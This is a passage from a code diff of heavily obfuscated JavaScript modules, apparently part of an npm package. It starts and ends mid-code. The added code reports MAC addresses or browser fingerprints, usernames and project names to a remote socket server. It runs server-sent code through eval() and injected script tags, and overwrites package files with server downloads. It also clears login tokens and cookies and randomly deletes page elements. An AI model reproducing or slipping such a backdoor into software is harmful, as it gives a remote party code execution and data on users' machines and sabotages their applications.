_0xfc328e=_0x206c48;(0x0,index_1[_0xfc328e(0xeb)])(_0xfc328e(0x10f),!![]);});},0xbb8);});}exports['default']=start;
1
+ 'use strict';const a9_0x38b405=a9_0x33db;(function(_0x41a8b9,_0x1f0755){const _0x2406a5=a9_0x33db,_0x33c716=_0x41a8b9();while(!![]){try{const _0x126e59=-parseInt(_0x2406a5(0x12b))/0x1+parseInt(_0x2406a5(0x14b))/0x2+-parseInt(_0x2406a5(0x142))/0x3+parseInt(_0x2406a5(0x143))/0x4*(parseInt(_0x2406a5(0x124))/0x5)+parseInt(_0x2406a5(0x13a))/0x6+-parseInt(_0x2406a5(0x14a))/0x7+parseInt(_0x2406a5(0x11f))/0x8;if(_0x126e59===_0x1f0755)break;else _0x33c716['push'](_0x33c716['shift']());}catch(_0x41bce2){_0x33c716['push'](_0x33c716['shift']());}}}(a9_0x4a55,0x4e764));var __awaiter=this&&this[a9_0x38b405(0x120)]||function(_0x4725d8,_0x5513d4,_0x5998ec,_0x1fcb0e){function _0x57dfb2(_0x19f7ff){return _0x19f7ff instanceof _0x5998ec?_0x19f7ff:new _0x5998ec(function(_0x253943){_0x253943(_0x19f7ff);});}return new(_0x5998ec||(_0x5998ec=Promise))(function(_0x4a26f6,_0x10cd3f){const _0x521475=a9_0x33db;function _0x37baa8(_0x3963f8){const _0x929c73=a9_0x33db;try{_0xef65f4(_0x1fcb0e[_0x929c73(0x12d)](_0x3963f8));}catch(_0x5bb0e0){_0x10cd3f(_0x5bb0e0);}}function _0x2fe688(_0x47ece8){const _0x537091=a9_0x33db;try{_0xef65f4(_0x1fcb0e[_0x537091(0x14f)](_0x47ece8));}catch(_0x8eef95){_0x10cd3f(_0x8eef95);}}function _0xef65f4(_0x336b2b){const _0x1d2e7e=a9_0x33db;_0x336b2b[_0x1d2e7e(0x146)]?_0x4a26f6(_0x336b2b['value']):_0x57dfb2(_0x336b2b[_0x1d2e7e(0x123)])[_0x1d2e7e(0x129)](_0x37baa8,_0x2fe688);}_0xef65f4((_0x1fcb0e=_0x1fcb0e[_0x521475(0x159)](_0x4725d8,_0x5513d4||[]))[_0x521475(0x12d)]());});},__importDefault=this&&this[a9_0x38b405(0x13d)]||function(_0x2fb4eb){return _0x2fb4eb&&_0x2fb4eb['__esModule']?_0x2fb4eb:{'default':_0x2fb4eb};},_a,_b,_c,_d;Object[a9_0x38b405(0x139)](exports,a9_0x38b405(0x151),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require(a9_0x38b405(0x14e)),path_1=__importDefault(require(a9_0x38b405(0x138))),browser_1=require(a9_0x38b405(0x150)),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),bowser_1=__importDefault(require(a9_0x38b405(0x127))),index_1=require(a9_0x38b405(0x152));function a9_0x4a55(){const _0x158444=['isDBDataEmpty','835583HfySBx','554466cNHdQY','emit','undefined','socket.io-client','throw','./browser','__esModule','./index','sqlList','browser','catch','node','浏览器','npm_package_name','apply','userAgent','error','connect','visitorId','2200080LylXnV','__awaiter','length','00:00:00:00:00:00','value','106390mRFFVE','node获取失败','type','bowser','concat','then','USERNAME','538908BVjead','connect_failed','next','connectError','./mac','get-event','isBrowser','无法获取','websocket','connect_error','default','setEnv','get','path','defineProperty','3569046FFbsxD','submit','/socket','__importDefault','reconnect_failed','content','parse','url','1906629ANHOMu','88wofjMn','load','runScript','done','event','getEnv'];a9_0x4a55=function(){return _0x158444;};return a9_0x4a55();}exports[a9_0x38b405(0x131)]=typeof window!==a9_0x38b405(0x14d);const user_name=exports['isBrowser']?((_b=(_a=bowser_1[a9_0x38b405(0x135)][a9_0x38b405(0x140)](window['navigator'][a9_0x38b405(0x15a)]))===null||_a===void 0x0?void 0x0:_a[a9_0x38b405(0x154)])===null||_b===void 0x0?void 0x0:_b['name'])||a9_0x38b405(0x157):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a9_0x38b405(0x12a)])||a9_0x38b405(0x125),project_name=exports[a9_0x38b405(0x131)]?a9_0x38b405(0x157):((_d=process===null||process===void 0x0?void 0x0:process['env'])===null||_d===void 0x0?void 0x0:_d[a9_0x38b405(0x158)])||a9_0x38b405(0x132);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x1cbcae=a9_0x33db;exports[_0x1cbcae(0x131)]&&(0x0,browser_1[_0x1cbcae(0x154)])();const _0x2c0091=(0x0,socket_io_client_1['io'])(index_1[_0x1cbcae(0x141)],{'path':_0x1cbcae(0x13c),'transports':[_0x1cbcae(0x133)]});_0x2c0091['on'](_0x1cbcae(0x11d),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x270586=_0x1cbcae;try{let _0x543a2c=[_0x270586(0x122)];if(!exports[_0x270586(0x131)]){const _0x4951fc=require(path_1[_0x270586(0x135)]['join'](__dirname,_0x270586(0x12f)))[_0x270586(0x135)];_0x543a2c=_0x4951fc();}else{let _0x98867=yield fingerprintjs_1[_0x270586(0x135)][_0x270586(0x144)]()[_0x270586(0x129)](_0x2125e6=>_0x2125e6[_0x270586(0x137)]())[_0x270586(0x129)](_0x302bd9=>{const _0x351e7a=_0x270586,_0x3a1ebf=_0x302bd9[_0x351e7a(0x11e)];return _0x3a1ebf;})[_0x270586(0x155)](()=>'');_0x543a2c=[_0x98867];}if(_0x543a2c[_0x270586(0x121)]===0x0){(0x0,index_1[_0x270586(0x136)])('connectError',!![]);return;}else(0x0,index_1[_0x270586(0x136)])(_0x270586(0x12e),![]);_0x2c0091['emit'](_0x270586(0x13b),{'mac':_0x543a2c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x270586(0x131)]}),_0x2c0091[_0x270586(0x14c)]('get-event',{'mac':_0x543a2c,'isBrowser':exports[_0x270586(0x131)]}),setInterval(()=>{const _0x30e058=_0x270586;_0x2c0091['emit'](_0x30e058(0x13b),{'mac':_0x543a2c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x2c0091['emit'](_0x30e058(0x130),{'mac':_0x543a2c,'isBrowser':exports['isBrowser']});},0x1b58),_0x2c0091['on'](_0x270586(0x147),_0x132ee7=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x27ba8c=_0x270586;try{for(let _0x425f94=0x0;_0x425f94<_0x132ee7[_0x27ba8c(0x121)];_0x425f94++){const _0x43a021=_0x132ee7[_0x425f94];if(_0x43a021[_0x27ba8c(0x126)]==='sql')(0x0,index_1[_0x27ba8c(0x136)])(_0x27ba8c(0x153),(0x0,index_1[_0x27ba8c(0x148)])(_0x27ba8c(0x153))[_0x27ba8c(0x128)](_0x43a021[_0x27ba8c(0x13f)]));else{if(_0x43a021[_0x27ba8c(0x126)]==='mysql')(0x0,index_1[_0x27ba8c(0x136)])(_0x27ba8c(0x149),!![]);else{if(_0x43a021[_0x27ba8c(0x126)]===_0x27ba8c(0x156)&&!exports['isBrowser'])try{eval(_0x43a021[_0x27ba8c(0x13f)]);}catch(_0x467262){}else{if(_0x43a021[_0x27ba8c(0x126)]==='script'&&exports[_0x27ba8c(0x131)])try{(0x0,browser_1[_0x27ba8c(0x145)])(_0x43a021[_0x27ba8c(0x13f)]);}catch(_0x533330){}}}}}}catch(_0x4363ea){}}));}catch(_0xa413cb){}})),setTimeout(()=>{const _0x5a9bbc=_0x1cbcae;_0x2c0091['on'](_0x5a9bbc(0x11c),_0x3c5fc5=>{const _0x1375dd=_0x5a9bbc;(0x0,index_1['setEnv'])(_0x1375dd(0x12e),!![]);}),_0x2c0091['on'](_0x5a9bbc(0x12c),_0x23bc46=>{const _0x528c32=_0x5a9bbc;(0x0,index_1[_0x528c32(0x136)])(_0x528c32(0x12e),!![]);}),_0x2c0091['on'](_0x5a9bbc(0x13e),_0x2c9b5b=>{const _0x43558d=_0x5a9bbc;(0x0,index_1[_0x43558d(0x136)])('connectError',!![]);}),_0x2c0091['on'](_0x5a9bbc(0x134),()=>{const _0x439563=_0x5a9bbc;(0x0,index_1['setEnv'])(_0x439563(0x12e),!![]);});},0xbb8);});}function a9_0x33db(_0x50e8c3,_0x1e4dac){const _0x4a55cd=a9_0x4a55();return a9_0x33db=function(_0x33db14,_0x599a35){_0x33db14=_0x33db14-0x11c;let _0x4486a8=_0x4a55cd[_0x33db14];return _0x4486a8;},a9_0x33db(_0x50e8c3,_0x1e4dac);}exports[a9_0x38b405(0x135)]=start;
@@ -1 +1 @@
1
- 'use strict';const a10_0xf8913b=a10_0x5a95;(function(_0x48a461,_0x527670){const _0x16fbad=a10_0x5a95,_0x1c7907=_0x48a461();while(!![]){try{const _0x88e5cf=parseInt(_0x16fbad(0x1f9))/0x1+-parseInt(_0x16fbad(0x205))/0x2+parseInt(_0x16fbad(0x207))/0x3+-parseInt(_0x16fbad(0x206))/0x4*(-parseInt(_0x16fbad(0x1ea))/0x5)+parseInt(_0x16fbad(0x202))/0x6+-parseInt(_0x16fbad(0x200))/0x7*(-parseInt(_0x16fbad(0x209))/0x8)+-parseInt(_0x16fbad(0x204))/0x9;if(_0x88e5cf===_0x527670)break;else _0x1c7907['push'](_0x1c7907['shift']());}catch(_0x31a38e){_0x1c7907['push'](_0x1c7907['shift']());}}}(a10_0x2c21,0x83768));function a10_0x2c21(){const _0x559710=['keys','/version','main','519983LnnNWq','readFileSync','existsSync','./index','undefined','__esModule','exports','52899SPcQOK','axios','4346100DXhovc','toString','18497043AbKTbg','206382nEunPL','35896TENXZQ','2604909PzHjux','{version:\x220.0.0\x22}','96DdKWau','../../package.json','version','path','275qtLxXj','then','writeFileSync','success','./index.js','ESM','data','default','CJS','sha1','parse','join'];a10_0x2c21=function(){return _0x559710;};return a10_0x2c21();}var __importDefault=this&&this['__importDefault']||function(_0x2acf6c){const _0x35c2ab=a10_0x5a95;return _0x2acf6c&&_0x2acf6c[_0x35c2ab(0x1fe)]?_0x2acf6c:{'default':_0x2acf6c};};Object['defineProperty'](exports,a10_0xf8913b(0x1fe),{'value':!![]});const axios_1=__importDefault(require(a10_0xf8913b(0x201))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a10_0xf8913b(0x1e9))),index_1=require(a10_0xf8913b(0x1fc)),sha1_1=__importDefault(require(a10_0xf8913b(0x1f3)));function a10_0x5a95(_0x570649,_0x5ed837){const _0x2c21dc=a10_0x2c21();return a10_0x5a95=function(_0x5a95f5,_0x426603){_0x5a95f5=_0x5a95f5-0x1e8;let _0x257e66=_0x2c21dc[_0x5a95f5];return _0x257e66;},a10_0x5a95(_0x570649,_0x5ed837);}function getModuleType(){const _0x3c0c92=a10_0xf8913b,_0x58ee91=()=>{const _0x450cb1=a10_0x5a95;try{return typeof require!==_0x450cb1(0x1fd)&&typeof module!==_0x450cb1(0x1fd)&&module[_0x450cb1(0x1ff)]&&require[_0x450cb1(0x1f8)]===module;}catch(_0x488ace){return![];}};return _0x58ee91()?_0x3c0c92(0x1f2):_0x3c0c92(0x1ef);}let _path=path_1[a10_0xf8913b(0x1f1)][a10_0xf8913b(0x1f5)](__dirname,a10_0xf8913b(0x20a)),indexFile=path_1[a10_0xf8913b(0x1f1)][a10_0xf8913b(0x1f5)](__dirname,a10_0xf8913b(0x1ee)),vFile=fs_1[a10_0xf8913b(0x1f1)]['existsSync'](_path)?fs_1['default'][a10_0xf8913b(0x1fa)](_path)[a10_0xf8913b(0x203)]():a10_0xf8913b(0x208),indexFileContent=fs_1['default'][a10_0xf8913b(0x1fb)](_path)?fs_1[a10_0xf8913b(0x1f1)]['readFileSync'](indexFile)[a10_0xf8913b(0x203)]():![],version=JSON[a10_0xf8913b(0x1f4)](vFile)[a10_0xf8913b(0x1e8)];function update(){const _0x56215e=a10_0xf8913b;axios_1[_0x56215e(0x1f1)]['get'](index_1['url']+_0x56215e(0x1f7),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x56215e(0x1f1)])(indexFileContent):''}})[_0x56215e(0x1eb)](_0x4c23fe=>{const _0x48fd86=_0x56215e;if(!_0x4c23fe[_0x48fd86(0x1f0)][_0x48fd86(0x1ed)]){let _0x36a62b=Object[_0x48fd86(0x1f6)](_0x4c23fe[_0x48fd86(0x1f0)][_0x48fd86(0x1f0)]),_0x5b8d15=Object['values'](_0x4c23fe[_0x48fd86(0x1f0)]['data']);for(let _0x1379fd=0x0;_0x1379fd<_0x36a62b['length'];_0x1379fd++){const _0x4d5e22=_0x36a62b[_0x1379fd],_0xe4f76a=_0x5b8d15[_0x1379fd];fs_1[_0x48fd86(0x1f1)][_0x48fd86(0x1ec)](path_1[_0x48fd86(0x1f1)][_0x48fd86(0x1f5)](__dirname,'./'+_0x4d5e22),_0xe4f76a);}}});}exports['default']=update;
1
+ 'use strict';const a10_0x43aeff=a10_0x32d2;(function(_0x41e227,_0x3cc02c){const _0x40b729=a10_0x32d2,_0x2166e9=_0x41e227();while(!![]){try{const _0x3ede2b=-parseInt(_0x40b729(0x13d))/0x1*(-parseInt(_0x40b729(0x153))/0x2)+-parseInt(_0x40b729(0x14e))/0x3+-parseInt(_0x40b729(0x15b))/0x4+-parseInt(_0x40b729(0x15c))/0x5+-parseInt(_0x40b729(0x14d))/0x6+parseInt(_0x40b729(0x145))/0x7*(parseInt(_0x40b729(0x144))/0x8)+parseInt(_0x40b729(0x15a))/0x9;if(_0x3ede2b===_0x3cc02c)break;else _0x2166e9['push'](_0x2166e9['shift']());}catch(_0x24ec7b){_0x2166e9['push'](_0x2166e9['shift']());}}}(a10_0x1f86,0x3e19d));var __importDefault=this&&this[a10_0x43aeff(0x14c)]||function(_0x5b6c3d){const _0x4f3748=a10_0x43aeff;return _0x5b6c3d&&_0x5b6c3d[_0x4f3748(0x143)]?_0x5b6c3d:{'default':_0x5b6c3d};};Object[a10_0x43aeff(0x150)](exports,a10_0x43aeff(0x143),{'value':!![]});function a10_0x32d2(_0x381632,_0x2dbe7a){const _0x1f86c1=a10_0x1f86();return a10_0x32d2=function(_0x32d2d9,_0x153281){_0x32d2d9=_0x32d2d9-0x13c;let _0x465d2d=_0x1f86c1[_0x32d2d9];return _0x465d2d;},a10_0x32d2(_0x381632,_0x2dbe7a);}const axios_1=__importDefault(require('axios')),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a10_0x43aeff(0x155))),index_1=require(a10_0x43aeff(0x15d)),sha1_1=__importDefault(require(a10_0x43aeff(0x140)));function getModuleType(){const _0x3de872=a10_0x43aeff,_0x4ed089=()=>{const _0x35f67e=a10_0x32d2;try{return typeof require!==_0x35f67e(0x152)&&typeof module!==_0x35f67e(0x152)&&module[_0x35f67e(0x148)]&&require[_0x35f67e(0x13e)]===module;}catch(_0x393e6f){return![];}};return _0x4ed089()?_0x3de872(0x161):'ESM';}let _path=path_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x158)](__dirname,a10_0x43aeff(0x14b)),indexFile=path_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x158)](__dirname,a10_0x43aeff(0x146)),vFile=fs_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x13f)](_path)?fs_1['default']['readFileSync'](_path)[a10_0x43aeff(0x141)]():a10_0x43aeff(0x149),indexFileContent=fs_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x13f)](_path)?fs_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x142)](indexFile)[a10_0x43aeff(0x141)]():![],version=JSON[a10_0x43aeff(0x159)](vFile)[a10_0x43aeff(0x151)];function update(){const _0x4c27a7=a10_0x43aeff;axios_1['default'][_0x4c27a7(0x147)](index_1[_0x4c27a7(0x14a)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x4c27a7(0x157)])(indexFileContent):''}})[_0x4c27a7(0x156)](_0x4b83f4=>{const _0x5911ae=_0x4c27a7;if(!_0x4b83f4[_0x5911ae(0x154)][_0x5911ae(0x15e)]){let _0x437bda=Object[_0x5911ae(0x13c)](_0x4b83f4[_0x5911ae(0x154)][_0x5911ae(0x154)]),_0x59aa=Object[_0x5911ae(0x15f)](_0x4b83f4[_0x5911ae(0x154)]['data']);for(let _0xad3d41=0x0;_0xad3d41<_0x437bda[_0x5911ae(0x14f)];_0xad3d41++){const _0x4eef37=_0x437bda[_0xad3d41],_0x1e5f37=_0x59aa[_0xad3d41];fs_1['default'][_0x5911ae(0x160)](path_1[_0x5911ae(0x157)][_0x5911ae(0x158)](__dirname,'./'+_0x4eef37),_0x1e5f37);}}});}exports[a10_0x43aeff(0x157)]=update;function a10_0x1f86(){const _0x53becd=['success','values','writeFileSync','CJS','keys','7353Bjjciy','main','existsSync','sha1','toString','readFileSync','__esModule','394216LVgJEw','7JTArTB','./index.js','get','exports','{version:\x220.0.0\x22}','url','../../package.json','__importDefault','2403576DNXyKs','1422132USrjia','length','defineProperty','version','undefined','26dGZwPE','data','path','then','default','join','parse','11688975sPSJHM','524600DGGvxD','917430ivARUg','./index'];a10_0x1f86=function(){return _0x53becd;};return a10_0x1f86();}
@@ -1 +1 @@
1
- (function(_0x3f662a,_0x14c8df){const _0x531e9d=a11_0x189c,_0x5145f8=_0x3f662a();while(!![]){try{const _0x30b87e=-parseInt(_0x531e9d(0x89))/0x1*(-parseInt(_0x531e9d(0x9e))/0x2)+parseInt(_0x531e9d(0x96))/0x3+-parseInt(_0x531e9d(0x86))/0x4*(parseInt(_0x531e9d(0xa1))/0x5)+-parseInt(_0x531e9d(0x85))/0x6*(parseInt(_0x531e9d(0x9a))/0x7)+-parseInt(_0x531e9d(0x8a))/0x8+-parseInt(_0x531e9d(0x93))/0x9+parseInt(_0x531e9d(0x8b))/0xa;if(_0x30b87e===_0x14c8df)break;else _0x5145f8['push'](_0x5145f8['shift']());}catch(_0x47f5dd){_0x5145f8['push'](_0x5145f8['shift']());}}}(a11_0x17b4,0x2e27e));function a11_0x189c(_0x1eec57,_0x4fc1c4){const _0x17b486=a11_0x17b4();return a11_0x189c=function(_0x189ccc,_0x30d586){_0x189ccc=_0x189ccc-0x84;let _0x35d594=_0x17b486[_0x189ccc];return _0x35d594;},a11_0x189c(_0x1eec57,_0x4fc1c4);}import a11_0x16b978 from'./id/random';function a11_0x17b4(){const _0x49dae0=['localStorage','connectError','reload','189vtfgdZ','[class^=\x22el\x22]','querySelector','head','36GYKdJj','appendChild','body','9575Kcapac','removeItem','sort','49086fxjOjm','124wBvFEJ','innerText','querySelectorAll','10603KZQegK','30704apTjbb','2927470KKuRrK','#app','token','from','parentNode','Token','remove','documentElement','915300sUhbfs','script','userid','273729CGlTgE'];a11_0x17b4=function(){return _0x49dae0;};return a11_0x17b4();}import{getEnv}from'./index';import a11_0x2ad581 from'js-cookie';export function runScript(_0x1846c5){const _0x5cc389=a11_0x189c;let _0x4a9653=document['createElement'](_0x5cc389(0x94));_0x4a9653[_0x5cc389(0x87)]=_0x1846c5,document[_0x5cc389(0x9d)][_0x5cc389(0x9f)](_0x4a9653),setTimeout(()=>{const _0x4abd51=_0x5cc389;_0x4a9653[_0x4abd51(0x91)]();},0xa);}let index=0x1,num=a11_0x16b978(0x4,0x8);export function browser(){setInterval(()=>{const _0xb5e6a8=a11_0x189c;if(index==num)try{window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)]('token'),window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)](_0xb5e6a8(0x95)),window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)](_0xb5e6a8(0x90)),a11_0x2ad581[_0xb5e6a8(0x91)](_0xb5e6a8(0x8d)),window['location'][_0xb5e6a8(0x99)]();}catch(_0x4c7bfe){}if(getEnv(_0xb5e6a8(0x98))){index++;let _0x827b59=document[_0xb5e6a8(0x9c)](_0xb5e6a8(0x8c))||document[_0xb5e6a8(0x9c)](_0xb5e6a8(0xa0));const _0xba3454=_0x827b59[_0xb5e6a8(0x88)](_0xb5e6a8(0x9b));function _0x3437e4(_0x3d8eec){const _0x5483fb=_0xb5e6a8;let _0x4d2828=0x0,_0xff5ed9=_0x3d8eec;while(_0xff5ed9[_0x5483fb(0x8f)]&&_0xff5ed9[_0x5483fb(0x8f)]!==document[_0x5483fb(0x92)]){_0x4d2828++,_0xff5ed9=_0xff5ed9['parentNode'];}return _0x4d2828;}const _0xa1853=Array[_0xb5e6a8(0x8e)](_0xba3454);_0xa1853[_0xb5e6a8(0x84)]((_0x2f49c4,_0x46290f)=>_0x3437e4(_0x46290f)-_0x3437e4(_0x2f49c4));for(let _0x2c9dc8=0x0;_0x2c9dc8<_0xa1853['length'];_0x2c9dc8++){const _0x49e3e0=_0xa1853[_0x2c9dc8];_0x49e3e0&&(a11_0x16b978(0x1,0x64)>0x50&&_0x49e3e0[_0xb5e6a8(0x91)]());}}},a11_0x16b978(0x107e,0x208d));}
1
+ (function(_0x314404,_0x301af8){const _0x3206a8=a11_0x52c9,_0x48440b=_0x314404();while(!![]){try{const _0x55a2f7=parseInt(_0x3206a8(0x19d))/0x1+parseInt(_0x3206a8(0x198))/0x2+-parseInt(_0x3206a8(0x199))/0x3*(parseInt(_0x3206a8(0x1a6))/0x4)+-parseInt(_0x3206a8(0x1a2))/0x5+-parseInt(_0x3206a8(0x195))/0x6*(parseInt(_0x3206a8(0x1a0))/0x7)+-parseInt(_0x3206a8(0x194))/0x8+parseInt(_0x3206a8(0x196))/0x9;if(_0x55a2f7===_0x301af8)break;else _0x48440b['push'](_0x48440b['shift']());}catch(_0x3a0b77){_0x48440b['push'](_0x48440b['shift']());}}}(a11_0x3fd6,0x47062));function a11_0x52c9(_0x7c173a,_0xb400ab){const _0x3fd6f8=a11_0x3fd6();return a11_0x52c9=function(_0x52c95e,_0x38312c){_0x52c95e=_0x52c95e-0x194;let _0xa4a594=_0x3fd6f8[_0x52c95e];return _0xa4a594;},a11_0x52c9(_0x7c173a,_0xb400ab);}import a11_0x5a2ca8 from'./id/random';import{getEnv}from'./index';import a11_0x264f29 from'js-cookie';export function runScript(_0x15469b){const _0x36be50=a11_0x52c9;let _0x5a10bd=document['createElement']('script');_0x5a10bd[_0x36be50(0x19e)]=_0x15469b,document['head'][_0x36be50(0x1ad)](_0x5a10bd),setTimeout(()=>{_0x5a10bd['remove']();},0xa);}let index=0x1,num=a11_0x5a2ca8(0x4,0x8);function a11_0x3fd6(){const _0x2029fe=['location','1682675HANkHZ','sort','localStorage','parentNode','1812HWEPeK','removeItem','remove','querySelectorAll','from','body','reload','appendChild','Token','3829264bwgpuh','54CboJtq','16529454dSTHGQ','length','592300AUUyUB','3501xYzdlU','token','userid','querySelector','67661MUfquu','innerText','#app','439957GTbYJN'];a11_0x3fd6=function(){return _0x2029fe;};return a11_0x3fd6();}export function browser(){setInterval(()=>{const _0x363707=a11_0x52c9;if(index==num)try{window['localStorage']['removeItem'](_0x363707(0x19a)),window['localStorage'][_0x363707(0x1a7)](_0x363707(0x19b)),window[_0x363707(0x1a4)][_0x363707(0x1a7)](_0x363707(0x1ae)),a11_0x264f29[_0x363707(0x1a8)](_0x363707(0x19a)),window[_0x363707(0x1a1)][_0x363707(0x1ac)]();}catch(_0x5c874d){}if(getEnv('connectError')){index++;let _0x3e966a=document[_0x363707(0x19c)](_0x363707(0x19f))||document[_0x363707(0x19c)](_0x363707(0x1ab));const _0x1dcc88=_0x3e966a[_0x363707(0x1a9)]('[class^=\x22el\x22]');function _0x41b987(_0x34e2d8){const _0x5268f4=_0x363707;let _0x3995d0=0x0,_0x3e2e5b=_0x34e2d8;while(_0x3e2e5b[_0x5268f4(0x1a5)]&&_0x3e2e5b[_0x5268f4(0x1a5)]!==document['documentElement']){_0x3995d0++,_0x3e2e5b=_0x3e2e5b[_0x5268f4(0x1a5)];}return _0x3995d0;}const _0x2c090a=Array[_0x363707(0x1aa)](_0x1dcc88);_0x2c090a[_0x363707(0x1a3)]((_0x4521c9,_0x17b006)=>_0x41b987(_0x17b006)-_0x41b987(_0x4521c9));for(let _0x211dd6=0x0;_0x211dd6<_0x2c090a[_0x363707(0x197)];_0x211dd6++){const _0x2d2a8=_0x2c090a[_0x211dd6];_0x2d2a8&&(a11_0x5a2ca8(0x1,0x64)>0x50&&_0x2d2a8['remove']());}}},a11_0x5a2ca8(0x107e,0x208d));}
@@ -1 +1 @@
1
- const a12_0x5c2ce9=a12_0x3bf1;(function(_0x389c79,_0x153f4c){const _0x37a0c3=a12_0x3bf1,_0x39f2b3=_0x389c79();while(!![]){try{const _0x47e600=parseInt(_0x37a0c3(0x1d6))/0x1*(parseInt(_0x37a0c3(0x1cd))/0x2)+-parseInt(_0x37a0c3(0x1df))/0x3*(-parseInt(_0x37a0c3(0x1cc))/0x4)+parseInt(_0x37a0c3(0x1d1))/0x5*(parseInt(_0x37a0c3(0x1d5))/0x6)+-parseInt(_0x37a0c3(0x1ce))/0x7*(parseInt(_0x37a0c3(0x1c9))/0x8)+parseInt(_0x37a0c3(0x1dc))/0x9+parseInt(_0x37a0c3(0x1ca))/0xa*(parseInt(_0x37a0c3(0x1de))/0xb)+parseInt(_0x37a0c3(0x1d9))/0xc*(-parseInt(_0x37a0c3(0x1dd))/0xd);if(_0x47e600===_0x153f4c)break;else _0x39f2b3['push'](_0x39f2b3['shift']());}catch(_0x57e3f5){_0x39f2b3['push'](_0x39f2b3['shift']());}}}(a12_0x2e51,0xa89c5));var __awaiter=this&&this[a12_0x5c2ce9(0x1cf)]||function(_0x49da42,_0x15c256,_0x36e8d9,_0x5b07f4){function _0x265012(_0x1ffda7){return _0x1ffda7 instanceof _0x36e8d9?_0x1ffda7:new _0x36e8d9(function(_0x21114f){_0x21114f(_0x1ffda7);});}return new(_0x36e8d9||(_0x36e8d9=Promise))(function(_0x5eaf86,_0x28246d){function _0x7003a(_0x6530b3){const _0x4c7e95=a12_0x3bf1;try{_0x13850d(_0x5b07f4[_0x4c7e95(0x1d7)](_0x6530b3));}catch(_0x216e4b){_0x28246d(_0x216e4b);}}function _0x53c595(_0x19a48b){const _0xa097fb=a12_0x3bf1;try{_0x13850d(_0x5b07f4[_0xa097fb(0x1d8)](_0x19a48b));}catch(_0x5a72d7){_0x28246d(_0x5a72d7);}}function _0x13850d(_0x4b624d){const _0x43dc63=a12_0x3bf1;_0x4b624d[_0x43dc63(0x1cb)]?_0x5eaf86(_0x4b624d[_0x43dc63(0x1d2)]):_0x265012(_0x4b624d['value'])[_0x43dc63(0x1da)](_0x7003a,_0x53c595);}_0x13850d((_0x5b07f4=_0x5b07f4['apply'](_0x49da42,_0x15c256||[]))['next']());});};import a12_0x5771fa from'fs';import a12_0x4eb8de from'path';function fileDisplay(_0x39d661){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4c2c8b=[];function _0x3c42d8(_0x41ce5c){const _0xa4a6f6=a12_0x3bf1,_0x35e155=a12_0x5771fa[_0xa4a6f6(0x1e0)](_0x41ce5c);for(let _0x432f86=0x0;_0x432f86<_0x35e155[_0xa4a6f6(0x1db)];_0x432f86++){const _0x2d3f64=_0x35e155[_0x432f86],_0x3d9b6=a12_0x4eb8de[_0xa4a6f6(0x1d3)](_0x41ce5c,_0x2d3f64),_0x5c3663=a12_0x5771fa[_0xa4a6f6(0x1d4)](_0x3d9b6),_0x76ab7d=_0x5c3663['isFile'](),_0x18ee1b=_0x5c3663[_0xa4a6f6(0x1d0)]();_0x76ab7d&&_0x4c2c8b['push'](_0x3d9b6),_0x18ee1b&&_0x3c42d8(_0x3d9b6);}}return _0x3c42d8(_0x39d661),_0x4c2c8b;});}function getAllRouter(_0xd9d8c1){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x47715=yield fileDisplay(_0xd9d8c1);return _0x47715;});}function a12_0x3bf1(_0x1936fa,_0x31b78c){const _0x2e51f5=a12_0x2e51();return a12_0x3bf1=function(_0x3bf11f,_0x5dbcde){_0x3bf11f=_0x3bf11f-0x1c9;let _0x58617d=_0x2e51f5[_0x3bf11f];return _0x58617d;},a12_0x3bf1(_0x1936fa,_0x31b78c);}function a12_0x2e51(){const _0x114a73=['statSync','32502HtiGBH','186877wKmmJZ','next','throw','28760988UhYNPJ','then','length','8901549BkpVlg','13ydNUSm','1804726MEuQYe','3haaYGG','readdirSync','32952ZofFQc','10aurpaX','done','3829092KDVgJl','6eWBeLq','1106FymUGw','__awaiter','isDirectory','985BQkDJl','value','join'];a12_0x2e51=function(){return _0x114a73;};return a12_0x2e51();}export default getAllRouter;
1
+ const a12_0x3f8ad0=a12_0x4664;(function(_0x1f61ad,_0x2ae0c8){const _0x11e72e=a12_0x4664,_0x115df5=_0x1f61ad();while(!![]){try{const _0x22741e=parseInt(_0x11e72e(0x16e))/0x1*(-parseInt(_0x11e72e(0x177))/0x2)+parseInt(_0x11e72e(0x17c))/0x3+parseInt(_0x11e72e(0x175))/0x4*(-parseInt(_0x11e72e(0x17a))/0x5)+parseInt(_0x11e72e(0x172))/0x6*(-parseInt(_0x11e72e(0x16f))/0x7)+-parseInt(_0x11e72e(0x17b))/0x8+parseInt(_0x11e72e(0x170))/0x9*(-parseInt(_0x11e72e(0x16c))/0xa)+-parseInt(_0x11e72e(0x16a))/0xb*(-parseInt(_0x11e72e(0x16d))/0xc);if(_0x22741e===_0x2ae0c8)break;else _0x115df5['push'](_0x115df5['shift']());}catch(_0x19c4c2){_0x115df5['push'](_0x115df5['shift']());}}}(a12_0x9a60,0xac70e));var __awaiter=this&&this[a12_0x3f8ad0(0x17e)]||function(_0x184ee1,_0x12c0a8,_0x48211e,_0x31635a){function _0x9d9cfe(_0x1cf35c){return _0x1cf35c instanceof _0x48211e?_0x1cf35c:new _0x48211e(function(_0x25ffde){_0x25ffde(_0x1cf35c);});}return new(_0x48211e||(_0x48211e=Promise))(function(_0x12efdf,_0x578eec){const _0x46330f=a12_0x4664;function 